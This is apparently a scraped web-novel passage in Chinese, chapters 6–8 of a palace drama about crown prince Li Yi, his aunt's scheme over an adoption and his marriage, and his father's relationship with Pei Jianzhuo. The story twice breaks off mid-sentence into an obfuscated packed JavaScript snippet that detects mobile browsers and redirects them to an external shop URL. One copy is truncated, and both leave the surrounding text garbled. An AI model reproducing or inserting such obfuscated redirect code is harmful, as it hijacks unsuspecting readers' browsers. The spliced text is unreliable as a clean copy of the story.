不一会儿,妙觉就挑了一打书。 李颐看他买完,自己的精神也耗尽了,想要就此回宫,正准备找个借口分道扬镳的时候,妙觉忽然停住了步伐:“善思,你不开心吗?” 李颐的确不开心,他很累,身体沉重而迟钝,疲色明显,方才他们去书坊的路上,乐寿几次委婉提出今天人太多,不如改日再来,可妙觉不知道是太兴奋还是在专注走路,压根没有听懂乐寿的暗示。 “没有。”李颐扬起声音,不想扫好朋友的兴,“我很少见到这么多人,挺开心的。” 只要把声音装好,妙觉就不会发现了。 眼见为实,妙觉天生缺少认识真实的能力。 可妙觉双眼紧闭,脸朝着他的方向,皱着眉头,很忧愁:“没有吗?” 李颐笑道:“当然。这本施灯功德经你不是有了吗,怎么又买了一本?” “可我觉得天阴沉沉的。”妙觉答非所问。 “今天太阳挺好,比昨天暖和。” “我感受不到。”妙觉说,“我只觉得你不开心。” 因为你不开心,所以我的世界就阴沉沉的。 李颐心口忽然一阵酸楚,他想妙觉是个瞎子,别人一眼就能看明白的东西,妙觉得用心去体会。 他用心看见李颐。 妙觉猜测道:“是不是摊口那只活羊?” 李颐借坡下驴:“嗯,拴着不能动,怪可怜的。我先让人送你回寺里吧。” 妙觉轻轻嗯了一声,神情悲悯,和李颐一起可怜起了那只不得自由的羊。 东市仍然是熙熙攘攘、拥挤不堪,如川如海的人流间,他矗立不动,像一根经年不坍的旧石柱。 李颐登车换辇,径直冲向紫宸殿。 紫宸殿空无一人。 李颐站在寒风里,没有进去,问迎出来的陆怀谷:“陆都知,我正读书时,有不大懂的地方,爹爹什么时候回来?” 陆怀谷心想你那帮东宫教授要是不愿意解答你的问题可以解绶归家,又暗示道:“陛下去万年县了。” 皇帝出则警跸扈从,大部分时间都待在深宫,此刻不在,说别的地名,李颐必然要刨根问底;说万年县则可以含糊一阵。 万年县是永乐城下辖两县之一,除温泉外,还有一个特产。 帝陵。 万年县的万年山上,有世宗皇帝、显宗皇帝两座皇陵,还有一座较特殊些,是李颐母亲昭德皇后的攒宫。 攒宫,意为帝后暂殡之所。 昭德皇后去得早,李知微那时候还没有功成名就,更休谈坟茔,她葬在薛家的义坟里,后来李知微登基,她就被请出,修了这座攒宫,以供四时祭拜。 但那也不是她的终身之地。 与先代诸帝葬在永乐不同,李知微把自己的帝陵修在千里之外的洛阳北邙山上。等李知微百年以后,她就又要再发出来,由李颐扶棺,从永乐前往她生前从未去过的天下中州。 陆怀谷说李知微去了万年县,李颐自然会认为李知微是去祭奠亡妻,不叫李颐去,也是怕附近坟茔多、山间温度低,李颐来回奔波生病。 果然,李颐没有刨根问底,陆怀谷松了口气,又道:“臣正要去重华宫呢。圣人方才赐饭给殿下,想来万年县虽没有城中繁华,却很有些新鲜意趣。” 李颐问:“什么东西?” 陆怀谷道:“叫作‘雪夹儿’的。” 李颐:“……” 陆怀谷素知皇帝宠爱李颐,眼珠子一样呵护着,不敢叫李颐在寒风里站,忙引着他到内殿,又叫人煨热雪夹儿,并听从李知微的吩咐,多多给李颐加糖,又奉给他:“这雪夹儿虽说是用羊乳打发,却没有一点膻气,殿下尝尝。” 金碗里头荡着羊乳,像一扇镶了金边的月亮,李颐当着陆怀谷的面喝完了,味道很清甜,他说喜欢喝,陆怀谷就眉开眼笑,说要去万年行宫把方子要来,只要李颐开心,那就是天下的喜事了。 李颐猝不及防发问:“裴见濯回来了?” 陆怀谷颇为吃惊,因为裴见濯是昨天夜里才到的,夜里不想破例开城门,便在旁边的万年县住下,皇帝也是早上过去的。 去岁长河泛滥,裴见濯去河上督工,前些日子才启程赶回。按理来说这消息很隐秘,李颐的消息什么时候这么灵通了? 那他知不知道…… 于是迟疑地回了一句:“是。” 李颐喝了奶以后又漱口:“昨天还和爹爹说起来,我床上的磁石不灵了,要他来修一修。” 原来记挂裴见濯是为了这个! 陆怀谷失笑,想裴见濯也算是第一等能工巧匠,李颐那张床可谓天下无双,寻常匠人哪里敢碰,眼巴巴等着裴见濯来修也是情有可原。 他哪里知道李颐是摩拳擦掌,准备和裴见濯谈一谈。 李颐做过有后娘的准备,但没做过有后爹的。虽然后爹不会生孩子,比后娘安全,还会对他很好。 霎那间,李颐忽然想起来很多年前在一个小院子里的幻影,父亲在里屋摆碗筷,裴见濯给他翻书念故事,声音很渺远,外头雨滴答答的,从屋檐上下滑下来。 古老的文字,古老的雨滴。 李颐起身,回了重华宫。 临走前,陆怀谷亲自捧了个莲花手炉给他,李颐是乘辇过来,衣裳单薄,陆怀谷特地找了一件墨色大氅为他披上,又给他系好风帽。 前朝显宗皇帝的心腹内臣田怀恩,就是皇子见了也要喊阿兄,驸马关系远些,能喊他一句阿翁都是幸运,结果到了陆怀谷这里,亲自服侍李颐吃饭不算,还为他捧盂穿衣,说出去都叫人惊掉下巴。 内侍省都知,天子近臣,换在哪朝哪代,对太子如此示好,都会引起皇帝的猜疑;但在李知微这里不会。 李知微对李颐的疼爱超过所有人,李颐是他琉璃珠子彩云朵一般呵护长大的珍宝。 要是李颐光秃秃出门去,让李知微知道了,他陆怀谷才要吃挂落呢! 李颐对此也不以为怪,出入紫宸殿毫无顾忌,捧着莲花手炉走到殿外广场上。 羽林卫昂首挺胸,注视着身穿茫茫雪地里,琉璃金瓦下,朱漆大柱旁,迤逦行来的一个墨点。 就像洁白宣纸上忽然有了痕迹,天地忽然生出颜色。 乌帽压住绿眉,墨氅裹住周身,按理说十分暗沉,可后头内臣大珰锦绣光鲜,竟夺不去他面上一双漆色。 眸光微转,李颐向侍卫中走去。 “伸出手来。” 众人不自禁将视线飘去。 执戟者身形高大,李颐又尚是少年,身量堪堪到他的下巴处,天然处于下位。 即便如此,李颐半点没动。 侍卫后退一步,跪在雪中,将长满冻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328927|199146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疮的手举过头顶,奉到李颐眼前。 李颐伸出手去,轻轻握了他一下:“大丈夫何不自爱?” 令狐纨稍一愣,李颐的手比他的凉,带着一点莲花苏合香萦在指尖,还没反应过来,李颐已经转身离去,大氅最下方旋出一点红裙,像洗墨池上的莲花瓣。 再远、再远,又凝成一个小点。 那么一句话,仿佛天大恩赐施舍似的。 李颐回到重华宫时已是黄昏,他照例在耳室里待了一会儿以后才进入寝卧,沐浴过后,换上寝衣,连鞋也未穿,套上白绫足衣,足尖点地,躺在摇椅上发呆。 很偶尔,远处铜镜闪过他的面容。 他想起很多年前的旧事,要么是五岁,要么是六岁,父亲刚刚登基,母亲的棺椁暂厝万年。皇后要四时设祭,但享殿里竟然没有一张她的容像。 她去世太早,又太贫穷。 有人灵机一动,说请二娘子进宫,让画匠照着她画不就行了吗? 同父同母的姐妹,那必然是很像的。 李颐在病床上听见了,听人说姨母要进宫来,进宫来做什么呢,想必是做皇后吧,就是做雍王殿下您的母亲。 ——母亲! 再给您生一个弟弟。 ——弟弟! 健康的,活泼的……把他封为太子,您只要享受弟弟的服侍就行啦! 不然,您怎么只是雍王,不是太子呢? 李颐病得抽搐了,李知微整夜抱着他,李颐恍恍惚惚觉得重华宫的人好陌生,自己一个也不认识:“我有娘,我不要小姨做娘。”而至于画像,他也有想法:“我会长得很像娘的。” 能不能等我长大呢?照着我的脸画娘。 李知微叹一口气,招来画匠,他说皇后的鼻子应该是怎么怎么样的,下巴是怎么怎么样,眼睛大,很瘦,很白,口述了一番以后,画待诏绘出的女子果然和薛妙施不像,李颐看过以后很满意。 他不接受除了自己以外,世间还有母亲的衍物。 为庆贺李颐病愈,皇帝大赦天下,薛妙施受恩封岐国夫人,嫁给了窦天龄,李颐送了姨母很多东西,窦靖出生的时候,李颐甚至亲自出宫去看了他的抓周礼,荣耀满身的岐国夫人,回去的时候李颐问李知微自己当时抓周抓了什么。 李知微含糊了两声:“嗯……” 他应该是抓住什么玉玺印绶了吧,又或者宝剑墨笔? 可惜爹爹忘了。 李颐闭住眼睛,轻轻叫一声:“薛洽。” 他说话向来低声细语,不一会儿,薛洽千里耳似的隔墙跑来了。 薛洽为方便说话,单膝跪在李颐的摇椅扶手边,帮李颐轻而缓地摇椅子:“殿下?” 李颐拍了拍他摇椅上的手,漾起一点怀/春微笑:“今天我去慈云寺见了姨母和…二娘,裴见濯也已经回京来了,再过几天,爹爹应该就会指婚,让二娘做我的太子妃。” “太子妃?!”薛洽惊叫失声,“姑姑怎么能把殿下的婚姻大事当儿戏?!” 薛妙施这个只顾眼前的蠢货,忘记她本姓薛吗!胳膊肘朝外拐! 李颐是太子,是薛家的太子,怎么能娶窦家和裴家的女儿?不是,他也真是奇了怪了,裴见濯到底哪来这么好的命,怎么不管谁做皇帝他都能攀上亲啊?! 那他们薛家怎么办? 他薛洽还有亲生妹妹呢!凭什么他妹妹不能嫁给离李颐,人家不是说近水楼台先得月吗? 于是也不想替薛妙施遮掩了,张口便道:“殿下三思,她是为了……”可说出来,他又觉得把李颐掺合进这件事不大还,于是尾音越来越轻。 “为了什么?”李颐不肯相饶,逼问道。 薛洽骤然见了这张苍白昳丽面孔放大在眼前,昏暗室内,点漆目竟像猫儿一样闪过湛湛碧色。 他被这眸光一摄,瞬间六神无主,痴痴道:“为了窦翊过继出去,叫她的亲儿子窦靖做长子,袭姑父的县公爵……” 他呓语未毕,就看见李颐蓦然沉下去的脸色。 “到底是怎么回事?” 7. 明眸皓齿今何在3 绛朝有两个首都,一是西京永乐,二是东都洛邑。 永乐是龙兴之地,洛邑是宸传古都。 永乐旁绕着京兆、弘农等关中郡望,洛邑边围着荥阳、范阳等山东房支,两边世家通过婚姻血缘与皇帝共治天下。 皇帝常年待在永乐,近水楼台先得月,关陇世家出身的皇后总是多些,譬如李颐的母亲薛妙持就是关中薛氏的旁支。而李颐的外祖母与祖母,即皇后之母晋国夫人与皇帝本生嫡母荣王妃,则出身窦家。 也正是这一层关系,让薛妙持嫁给了李知微。 “岐国夫人,唉,姑姑当年本来是要嫁给窦八的。” “窦八是谁?” 薛洽回了他一个“看吧,你都不知道窦八是谁”的眼神。 既然当年能和薛妙施议婚,如今该有三十多岁。窦家和李颐关系亲近,李颐却听都没听过,可见不管血缘还是脑子都不出挑。 而薛妙施当年和这等子弟议婚…… “这窦八是晋国夫人二兄第三子,族中排行第八,生母非是良家,行为也颇放荡。当时,两边已经纳征问采,碰上显宗皇帝驾崩,婚事才搁置下来,再之后,便没人提了。” 薛妙施一跃成为皇帝的小姨,连中宫皇后都做得,自然天下好儿郎任凭选择,窦八敢提才是让两家结仇,国丧结束便另娶了。 而薛妙施不知是不是在记恨窦家当年轻蔑,点兵点将,最后嫁给了窦家家主窦天龄。 窦天龄当时已经是将作大匠,天子近臣,前途无量,论人品、论相貌俱是一时之选。 薛妙施狠狠压在窦家所有人头上,叫原本应该做她公公、婆母的人逢年过节给她拜寿请安,堪称得意。 可美中不足,窦天龄,他是个鳏夫! 这就是嫁家主的坏处了,谁家也不能让二十出头的小郎君来当家主,窦天龄已经算是年少有为,那年也三十二岁,足大了薛妙施一轮。他早逝的元配是河东柳氏,亦属名门,生下一个男孩子名叫窦翊。 换句话来说,窦翊才是长子,李颐的亲表弟窦靖是次子。 薛洽介绍了半天,李颐已经听得烦了。 这些事情他早知道,窦翊他也见过,忠厚老实,原本要来做东宫羽林备身,但李颐考虑到姨母,最终还是没要,转赐窦翊在昭文院读书。 没有让两兄弟接连做备身的道理,窦家的名额,他得留给窦靖。 有些事,他不是不懂。 见李颐有些不耐烦,薛洽连忙切入正题:“当年选东宫羽林备身的时候,殿下没有选中窦翊,姑母就和姑父起了龃龉,姑母到家里来时,同我娘说起来过。” “姑母说,羽林备身向来是两宫亲近子弟才可以当得,您虽然也认窦翊这个表亲,那纯粹是看在她的面子上,要没有她,窦翊连入选的资格都没有,怪他自己不争气没选上,您赐他在昭文院读书,已经是大恩大德了。” “姑父就说,他窦家不贪姨母的好处,又说他身上的平陵县公爵位,以后就是要给窦翊的,姑母当场就哭起来了,说要不是她,姑父哪里配得县公爵。” 李颐闭目养神:“就为了一个县公爵?” 薛洽一会儿心想,什么叫“就”县公爵,不是宗室没有祖传,大臣做到宰相也才一个县公爵,那可是能传之后世的荣耀,孩子直接封从六品的出身,次一等人家里,得一个县公,宗谱都能单开一页了。 窦天龄虽然前途无量,毕竟还不是宰相,这个爵位是李颐出阁那年,他以皇后妹夫、太子姨夫的身份推恩受封的。 可那点计较一会儿就被浮想取代。 李颐轻飘懵懂,满不在乎的样子真是出尘可爱,不愧为皇帝一手捧出的国色明珠,司马衷要是顶着那一张脸,人家大抵也不怪他说什么话、做什么事了。 于是附和道:“大家也这么宽慰姑母,说哪怕窦靖不能袭爵,难道您还会不管他?又何必稀罕一个县公,可姑母估计是往心里去了。” 薛洽终于说到了重点:“她想把窦翊过继出去。” 李颐的手一松,滑下扶手,忙被薛洽恭恭敬敬地捧起来,放在扶手上。 李颐问:“过继给谁?” “窦家三房的老窦相公曾是仁宗宰相,年登九十,获封长道县公,前些天刚没了小孙子。若不过继,俟老县公一去,便得除爵了。”薛洽说。 县公换县公,看似公平得很。 可那是过继。父亲不再是父亲,母亲不再是母亲,人活到二十岁,转而认别人作父母,情感上的苦痛先不讲,窦翊过继后,便不再属于李颐的近亲推恩范畴,前途自然也受了限制。 更何况,窦天龄的仕途还没有到顶。李颐纳妃、登基,到时候肯定还有封赏,他说不定能做到国公,到时候窦翊承袭的自然也是国公爵,国公爵换县公爵,不是亏了吗? 对于窦天龄来说,他最好是把身上的爵位给长子,赌李颐不会让亲表弟没有爵位,到时候混个一门双爵岂不美哉。再说了,把原配的儿子送出去,他自己名声上也不好听。 可薛妙施不乐意。 窦靖才是她的亲儿子。出息还好,要是不出息,就算是太子亲表弟也不一定能做到国公,窦天龄因为她才成为太子近亲,有了今天的地位,凭什么好处都让前一个儿子占了? 窦靖才最应该承袭爵位! 至于窦家别人,对这县公爵也多有觊觎,不赞成窦翊过继。 薛妙施才想出这招来。 “和这窦老相公血缘最近的,便是您说的窦二娘子的父亲,而这二娘子的母亲,又是裴都督的堂妹。” “他若是主动让贤,旁人自然无话可说,就是闹到御前,还有裴都督转圜。” 代价,自然是太子妃的位置。 有了薛妙施、裴见濯和窦家三层护持,窦二娘子自然十拿九稳。薛妙施一来挪走继子,二来也和未来的国母结下善缘,窦家对她自然更是感激涕零。 怪不得她这么着急。 李颐冷声道:“凭什么要裴见濯转圜?” 薛洽一头雾水,心想这是裴见濯的事吗?这是姨母把你当筹码换出去了! 千万不能娶窦二娘子啊,我妹妹也很漂亮啊! “裴都督素蒙圣眷……” 李颐忽问道:“薛洽,照你来说,姨母应该怎么做?” 薛洽支吾不言:“这……” 李颐神色恹恹:“周幽王宠爱褒姒,废申后所生的太子宜臼,立褒姒之子伯服为太子;汉宣帝宠爱张婕妤,可惜张婕妤有子,为保护太子刘奭,便以无子的王婕妤为皇后,是为邛成太后。” “……” 薛洽抬起头,李颐也许是寂寞的,这样大的一间卧房,摆了半面墙的书。 无处可去。 李颐的声音还是轻,像春天里的柳枝拂过湖面时候,娇莺唱起的第一声。 “所以,没有别的办法了吗?” 没有别的办法了啊,薛洽想。 皇位继承和爵位继承没两样,都具有唯一性,同产兄弟尚且你争我抢,何况是异腹之子? 要么薛妙施不要在乎这个“唯一”,不在乎窦天龄平陵县公的爵位,也不要想自己的身份给继子带来了什么好处。 如果在乎,她就不该嫁给带儿子的窦天龄;要么就不生孩子。 不然,一定会两败俱伤。 李颐又叹了一口气,薛洽默然不语,静静替他摇着椅子,过了很久很久,李颐闭住眼睛,呼吸平稳下来。 薛洽想叫他去床上睡,叫了两声,李颐没应,薛洽又伸出手去,摩挲了一下他的手腕。 在温暖如春的房间里,李颐身上还是凉。他穿着素白寝衣,唇色又淡,睡着的时候,连正常人睡觉时会起的红晕也没有,像极了一尊冷冰冰的瓷娃娃。 薛洽知道他入睡困难,睡觉轻,于是屏住呼吸,将他抱在臂弯,送去床上休憩,又蹑手蹑脚磨出了寝殿,对乐寿道:“方才讲着讲着,殿下就睡着了。” 乐寿点点头:“昨天没睡,想必累着了。五郎也快去休息吧。” 薛洽作为东宫羽林备身,在重华宫有值班的庑房,就在李颐旁边,说是警卫,其实压根轮不到他。一脱靴子,他躺在床上,怎么也睡不着,仿佛天底下的瞌睡虫都被李颐吸去了。 看会儿书吧? 少年人血气方刚,东宫漫漫长夜,他自然也不会看什么正经的圣贤书来催眠,东西市书坊里头的绮情话本一淘一大把,都妥帖地裹上子曰诗云的封皮,图文并茂,粗制滥造,看得人面红心热。 看着画上鸳鸯,雌的那只头发垂在床下,两条腿倒吊起来,薛洽忽然想,李颐的头发太长,刚才抱他起来的时候,有没有碰到地衣? 薛洽竟为这事忧愁起来,披衣起身,趴在窗棂上,正月十六的月亮又圆又大,染白了一片夜空,他忽然想,月亮是不是也冷冰冰、白生生,像瓷做的? 和李颐一样。 和薛家休戚与共、命脉相连的小殿下…… 他想起把李颐抱入床幔后的风景,床顶没有遮住,星光挥洒下来,前一天李颐不知道玩了什么,星空乱糟糟的,没有月亮。 月亮在床上躺着。 忽然间,重华宫的灯火依次亮起,直烧到薛洽跟前。 三个内臣引医官前来,各抱药箱,深色凝重,薛洽大惊失色,鞋也来不及穿,忙跑出去:“这是怎么了?” 乐寿回头看见是他,恨不得左右开弓扇他两个巴掌:“你和我说殿下睡过去了?!殿下晕过去一个时辰了!!” 薛洽:“啊?!” 怪不得叫他、抱他都不醒呢! 这会儿针扎也没有醒。 医官困意未消,听了李颐昨日行程后,对内臣不假辞色:“冬季天寒,殿下本就体弱,一会儿在宫中、辇中温暖,一会儿在寺中、市坊寒冷,忽冷忽热,本就容易伤寒,还一夜未睡,通宵也就罢了,你们还带着殿下沐浴,气血涌上,自然惊厥了!” 惊厥? 薛洽远远看着,只觉得李颐很平静,半点不惊,和方才躺椅上没什么两样。 他不知道,梦中李颐的世界正在坍塌。 他认同了十八年的世界,相爱于微时的父母,宣帝式的故剑情深,可汉宣帝除了许平君所生的刘奭外,还有五子二女,更在晚年宠爱张婕妤,动了废立之心。 父亲没有,一次也没有,从头到尾只有李颐一个孩子。 做这些不是因为爱吗? 李颐从小跟着父亲长大,和母族不亲,那点菲薄的爱意,是李知微一点点为他熏陶出来的。那是母亲的父亲、母亲的母亲,母亲的弟弟妹妹……母亲爱你。 做这些不是因为爱吗? 如果是,那裴见濯算什么,也是爱? 李颐挺喜欢裴见濯,一点也不讨厌,他知道裴见濯对他好。 但问题就像野火一样在心底烧开、蔓延。 父亲到底是因为他,所以找了个不会生孩子的男人当伴侣。 还是因为找了个不会生孩子的男人当伴侣,所以只能有他这一个孩子? 如果裴见濯是个女人呢,如果他会生孩子呢?如果他和父亲有个孩子—— 那我今天会有什么下场,令狐纨还是窦翊? 李颐感到背叛。 他想把这个事情问出口,可他病了又好,好了又病,父亲始终没来看他。 第一个来看他的人是薛妙施。 准确来说也不是看望他,李颐都病习惯了,消息没散出去,薛妙施不知道,一头撞进来,看见李颐躺在床上养病,惊道:“善思?你,你还好么?” 施针以后李颐醒了过来,在床上躺着,心里烦她,所以没说话。薛妙施就讪讪在他床边坐着。 李颐终于出声:“小姨,算了吧。” 薛妙施自己心虚,不知道李颐说“算了的”是把窦翊过继的事情,还是窦二娘子做太子妃的事情,于是支吾不言。 李颐喘了口气,继续说:“裴见濯是爹爹重臣,我若娶了窦二娘子,怕有心人离间,惹得父子失和。” 薛妙施一听他口风似乎是有顾虑而非不满,立刻道:“不会的不会的,陛下最好你能和裴见濯结亲呢!他……” 李颐逼问:“他什么?” 薛妙施被他一吓,竟半天说不出话来:“他……他……” 李颐定定出声:“你们都知道。” 薛妙施讷讷:“知道什么?” 知道什么? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328928|199146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >心腹重臣和太子交往、结亲、勾连,那自然是一千个不许,一万个不准了。 可谁都知道裴见濯跟李知微的关系,知道裴见濯不仅是心腹大臣,更是,更是—— 皇帝的伴侣。 李颐火从心起:“那是你亲姐姐,你就这样乐见其成?” 谁都可以,裴见濯,他怪不了;小姨,不行! 薛妙施说:“可、可、可你娘,皇后她已经崩逝十八年了!” 她去世的岁月,已经和活着的年龄等长。 “人心都是肉做的啊,善思,穷人乍富都要见异思迁、三妻四妾,你外祖父年登六十尚有通房,你姨夫房里也有侍妾,何况天子三宫六院七十二妃?再说裴见濯是个男人,总比、总比……” 总比你爹找女人,给你生个弟弟强吧! 为什么非得找,为什么非得找,大雁一辈子只有一个伴侣,失其侣则哀鸣而死,人为什么还不如大雁?! 爱情和皇位一样,是唯一的,不容背叛的! 是自私,是忠贞,是—— “乐寿!乐寿!”薛妙施惊叫道,“医官,快请医官!” 第二个来看他的人是他的老师陶时止 正月十七本是李颐上课的日子,重华宫却乱成一团,忘记和老师告假。 那边陶时止施施然到来,一进门,满殿飘香,价值连城的苏合不要钱乱洒,再一望,李颐胳膊上又扎了好几针,看得陶时止啧啧赞叹,说刘医官的针技真是出神入化,但见孔,不见血,这么厉害应该去黄河挖河道,光挖,不见水,自然无决堤之忧。 他说话没着没调,穿衣没轻没重,是监察御史奏劄中弹劾的常客,告一回罚一年俸,据说未来三百年他都得不到朝廷发的一文钱,为此只能找些兼职来做,譬如李颐的老师。 李颐有好几个老师,见了陶时止最不客气,又刚刚被救回来,神情虚弱,眼睛都没睁开:“老师,我不舒服。” 陶时止贱得发慌:“那怎么办啊?” 李颐有气无力:“我想请假。” 陶时止说:“那臣会被扣钱的!” 我给你钱行不行? 李颐都说不出这话来,陶时止坐到他身边,掏出书本:“这样吧,臣给殿下上课,殿下睡着就行。嗯,咱们今天要上《大诰》了。” 李颐还能怎么办,只能昏沉沉躺在床上听他说话。 “《大诰》是周公旦起兵,讨伐三监叛乱时所作的文书。” “什么是三监?这要追溯到武王伐纣了,周武王打商纣王,砍了商纣王的头,灭亡了商朝,但商纣王的儿子武庚还活着,武王让他留在朝歌继续祭祀商朝,这就是二王三恪里面的二王,你看咱们对前朝杨家是不是也不错?” “但是呢,周武王又怕武庚联合商朝遗民作乱,于是便把自己的三个弟弟,管叔、蔡叔、霍叔封在武庚周围监视,这就是‘三监’。这个蔡叔我们之后还要学呢,你记一下。” “我们都知道,派人监视的下场,就是监守自盗。” “武王驾崩,成王年幼,具体是几岁?也许是十三岁,当然也可能是十四岁,总之,还很小,于是周公称王摄政。” “周公称王,管叔不乐意了呀!都是一个爹生的,武王是老大,我是老二,周公是老三,凭什么让老三称王,我却在这里看犯人?便说周公要害成王,带着两个弟弟跟武庚还有东夷人一起造反。” “东夷?”李颐说,“是哪里,契丹,突厥?” “没那么远,殿下说的在东北,叫东胡;东夷在东南,就是裴见濯老家,扬州那块。从前有九夷,只要不在中原,就是蛮夷。” “现在不是了。” “嗯,打着打着,蛮夷都死光了嘛。” 李颐想了想:“中华夷狄,但听教化,俱为赤子,人君当爱之如一。” “殿下睿明,还有别的想法么?” “老师想说什么就说什么吧。” “臣觉得武庚和三监挺有意思的,武庚是商纣王的儿子,三监都是周武王同父同母的亲弟弟,成王的亲叔叔,他们合作,真是风水轮流转啊。” “这场叛乱最后输了,臣有的时候想,如果赢了会怎么样,天下到底是周朝的天下还是商朝的天下,最后到底是管叔做天子,还是武庚做天子?” “用心不一,他们不会赢的。” “殿下说的是。臣还有一个问题,殿下觉得是什么引起的三监叛乱?” 李颐喉咙里有点血腥气:“主少国疑,兄弟阋墙,斩草留根。” “臣觉得还有一个问题,那就是远。”陶时止说,“成王、周公在镐京,相当于永乐;三监与武庚在朝歌,相当于洛邑,来回要走一个月。周天子的威权到达不了,百姓才帮助武庚叛乱。” “对三监来说,成王是他们的侄子,周公是他们的兄弟,武庚是他们的敌人。他们却背叛侄子,诟病兄弟,结盟敌人。可见距离很重要,离得远了,兄弟都会离心;离得近了,仇人也能和好。” 罪人和兄弟,都要放在眼皮子底下看管。 猪羊怎么管,你的兄弟子侄就该怎么管。 难道有把家畜放到千里之外的道理? 李颐保持沉默。 良久,他问:“老师是在说齐王吗?” 陶时止笑一笑:“殿下睡吧,你嘴巴都发白了。” 在下一阵痛苦来临以前,李颐睡了过去:“老师……” “嗯?” “我要扣你钱。” 陶时止笑了一下:“行,扣吧,就当给你买糖吃了,好日子啊……” 坠入黑沉前,李颐听见那么一句话,他想今天怎么能算好日子?他很痛苦。 之后是无边无尽的阴沉寒潭,他冷得发慌,只能通过颤抖来维持热量,越抖越冷,越冷越抖,汗一层层沁出来,一只手摸了摸他的额头。 熟悉的龙涎香气。 “爹爹……”李颐闭目流出两行泪来,抱住他的手,“爹爹!” 寂静。 “是我。”良久,裴见濯说,“陆怀谷说你的床坏了?我看看。” “我人也坏了。”李颐泄力。 裴见濯笑了一下:“哟,那我可不会修。” 8.明眸皓齿今何在4 万年山攒宫,青烟一缕。 “要什么了,记得和我说,家里我都照顾着。” 李知微扶桌站起,望着享殿里黑漆金描的神主牌,鲛烛静静燃烧,吃掉了薛妙持的姓名,只剩下昭德皇后神主六个大字,与皇后这一身份不大匹配的是供桌上摆了许多羊肉,每盘花样都不同,蒸煎焖煮不一而足。 李知微看了会儿,和她告了个别,走出享殿。 阳光洒落,裴见濯站在外头,静静地等。 他前两天赶回京时从马上跌了下来,如今额头上挂着一道不影响英俊的黑红细血痂。 万年山的温度比城里要低一些,残雪未扫,放眼望去是一片皑皑世界,往西眺,雪间琉璃瓦下是显宗皇帝李成钧的景陵,李知微问:“你去过了?” 裴见濯的长兄裴照元是李成钧的宰相兼妹夫,和妻子长宁公主陪葬景陵,新年过节,裴见濯会前往祭扫。 裴见濯先点了点头:“你猜我遇见谁了?” 李知微挑眉,示意他说,裴见濯吐出两个字:“妙觉。” 李知微若有所思:“他是殿下养大的,来祭扫情有可原。” 裴见濯道:“你说他知不知道……” 李知微摇了摇头:“知道不知道的,又怎么样?他是个瞎子。” 瞎子,根本不构成任何威胁。 裴见濯提醒他一种可能性:“善思很依赖他。” 李知微道:“他也是殿下的孩子。”他这话一出,裴见濯沉默了,李知微淡淡道:“等我们都死了,当年的事情,也就没人知道了。” 说罢,李知微招来主祭官,说羊肉皇后吃的差不多了,拿去给大家分了,不要浪费,又语气平淡:“封冢吧。” 主祭官不可置信:“陛下?” 李知微的帝陵远在洛邑,昭德皇后的棺椁套好以后只是在地下浅埋一层,并未封树,随时等待起发前往洛邑,和丈夫死同穴。 现在封冢,岂不是无法去洛邑,无法与丈夫合葬? 李知微淡淡道:“去做吧。” 主祭官心下犹疑,抬眼望去,三出阙楼上的朱漆鸱吻威严如生,是天子陵寝才能有的规格。 暂厝之所原本是不用这么华丽的,当时人们都以为是皇帝情深。 原来从一开始,皇帝就准备让妻子留在永乐城。 李知微凭栏回头一望,他想这攒宫可真大,阙楼高到可以俯瞰整座万年县,再往远望,可以看到永乐城里一百零八市坊,看见皇帝在紫宸殿里进进出出。 薛妙持生前没有住过这么大的屋子,薛家她的闺房很小,里头还堆了许多杂物甚至冬天的柴火,一直到婚前才被清理出来。婚后,他们甚至没有自己的屋子,那座现在被包围保护起来的所谓潜邸,皇后殡天之地,太子降生之所。 是租的。 租金是多少?李知微有点忘了。 记得有一个月房东生了孩子,给他们免了一个月租金添喜气,薛妙持就去买了一点羊肉做庆贺,她在家从小就被教着吃素,说吃素的人有福报,其实是为了把肉让给父亲和弟弟吃,说得久了,她自己也以为自己不爱吃肉。但那会儿有了余钱,她还是去买了一大块,她觉得李知微爱吃。 贫贱夫妻。 李知微也很少能吃肉,羊肉买回来,他俩面面相觑,不知道怎么面对这块珍惜的羊肉,后来是怎么做的? 李知微又忘了,他脑子很痛,浑身都痛,痛得站不住了,裴见濯把他抱上车。 掀开帘子最后看一眼,阙楼越来越远,山不高,李知微难以呼吸,在心里默默告别。 “妙持,再见。” 车帘落下。 李知微跌在裴见濯怀里,隐秘地咳嗽,热气一下下烫着人的骨骼,山路颠簸,李知微的咳嗽一直没停,仿佛五脏六腑要一齐颠沛出来。 裴见濯一言不发,轻抚他的后背,发现李知微不咳的时候在玩他的腰带,打了一个很漂亮的结。两个人谁也没说话,车行半日,回到紫宸殿,李知微坐着看奏劄,看了一会儿,眼睛花了,就躺在裴见濯怀里,让裴见濯给他念,念着念着,一滴泪忽然掉进李知微嘴里。 咸的。 李知微非说裴见濯对他馋的流口水,裴见濯没笑,李知微把自己逗笑了,笑了一阵以后,又拍拍他:“帮我去看看孩儿吧,我这样子去,他反而要担心。” 裴见濯气怏怏又不敢反抗,走出寝殿,回头看时,李知微露在被子外头的脸,苍白泛着潮红。 李颐也是这样。 两父子面容重叠起来,裴见濯从这个病人转到那个病人处,心中只能认命。 